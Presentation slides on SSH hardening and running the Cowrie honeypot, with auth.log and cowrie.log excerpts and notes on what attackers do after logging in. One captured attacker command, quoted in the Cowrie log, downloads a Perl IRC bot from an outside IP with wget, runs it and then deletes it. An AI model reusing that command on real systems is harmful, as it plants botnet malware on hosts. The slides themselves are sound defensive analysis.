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Debian

Virtueller Debian Server

Apache2

Owncloud

SSH
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/var/log/auth.log

Oct 22 06:14:21 zoepfe sshd[32377]: Invalid user admin from 185.46.109.96
Oct 22 06:14:21 zoepfe sshd[32377]: input userauth request: invalid user admin
[preauth]
Oct 22 06:14:21 zoepfe sshd[32377]: pam unix(sshd:auth): check pass; user
unknown
Oct 22 06:14:21 zoepfe sshd[32377]: pam unix(sshd:auth): authentication
failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=185.46.109.96
Oct 22 06:14:24 zoepfe sshd[32377]: Failed password for invalid user admin
from 185.46.109.96 port 47970 ssh2
Oct 22 06:14:24 zoepfe sshd[32377]: Connection closed by 185.46.109.96
[preauth]
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⇒ In most cases only 9 attemps from one source.
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Hardening Recommendations

disable root login

disable password login

restrict users and groups for ssh

move ssh to another port

use fail2ban or denyhost

if possible: use port knocking
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Hardening Recommendations

disable root login

disable password login

restrict users and groups for ssh

move ssh to another port

use fail2ban or denyhost

if possible: use port knocking

Does this really make sense?
Is this not just boring?
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What it is:

Honypot

It is a trap.

Fake System that is attracting hackers.

Simulates a real system.

Can be used for analying attacks.

Can be used for detecting attacks.
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SSH Honeypots

Kippo

Kojoney

Cowrie
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Cowrie

Python based application.

Simulates SSH Server.

Simulates Bash Shell.

Generates fake output for shell commands.

Logs all user activities.

Stores uploaded malware in a save place.

Plenty of log files.
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Fake Accounts

root:0:!root
root:0:!123456
root:0:*
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cowrie.log

78.142.19.47 root trying auth password

78.142.19.47 login attempt [root/raspberrypi] succeeded

78.142.19.47 root authenticated with password

78.142.19.47 starting service ssh-connection

78.142.19.47 channel open

78.142.19.47 executing command ”rm -rf bot.pl ; wget http://104.233.85.48/bot.pl

-O bot.pl; chmod 777 bot.pl ; perl bot.pl ; rm -rf bot.pl”

78.142.19.47 Opening TTY Log: log/tty/20151116-181818-093c9e79.log

78.142.19.47 CMD: rm -rf bot.pl ; wget http://104.233.85.48/bot.pl -O bot.pl;

chmod 777 bot.pl ; perl bot.pl ; rm -rf bot.pl

78.142.19.47 Command found: rm -rf bot.pl

78.142.19.47 Command found: wget http://104.233.85.48/bot.pl -O bot.pl

78.142.19.47 Starting factory HTTPProgressDownloader: http://104.233.85.48/bot.pl
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Downloads

wget or scp

Bash wget scripts

Perl IRC bots

LSB executables
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Downloads

wget or scp

Bash wget scripts

Perl IRC bots

LSB executables

⇒ All scripts have functions for deleting history.
⇒ 13 unique files out of 22.
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What are they doing?

Most of them just log in and out.

Gather information: uname, who, lscpu, ps

passwd :)

Download script via wget.

Upload script via scp.

A lot of them log out after ps x
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Demo

playlog.py 20151112-013328-a2d4b207.log

less 20151116182626 http 104 233 85 48 bot pl
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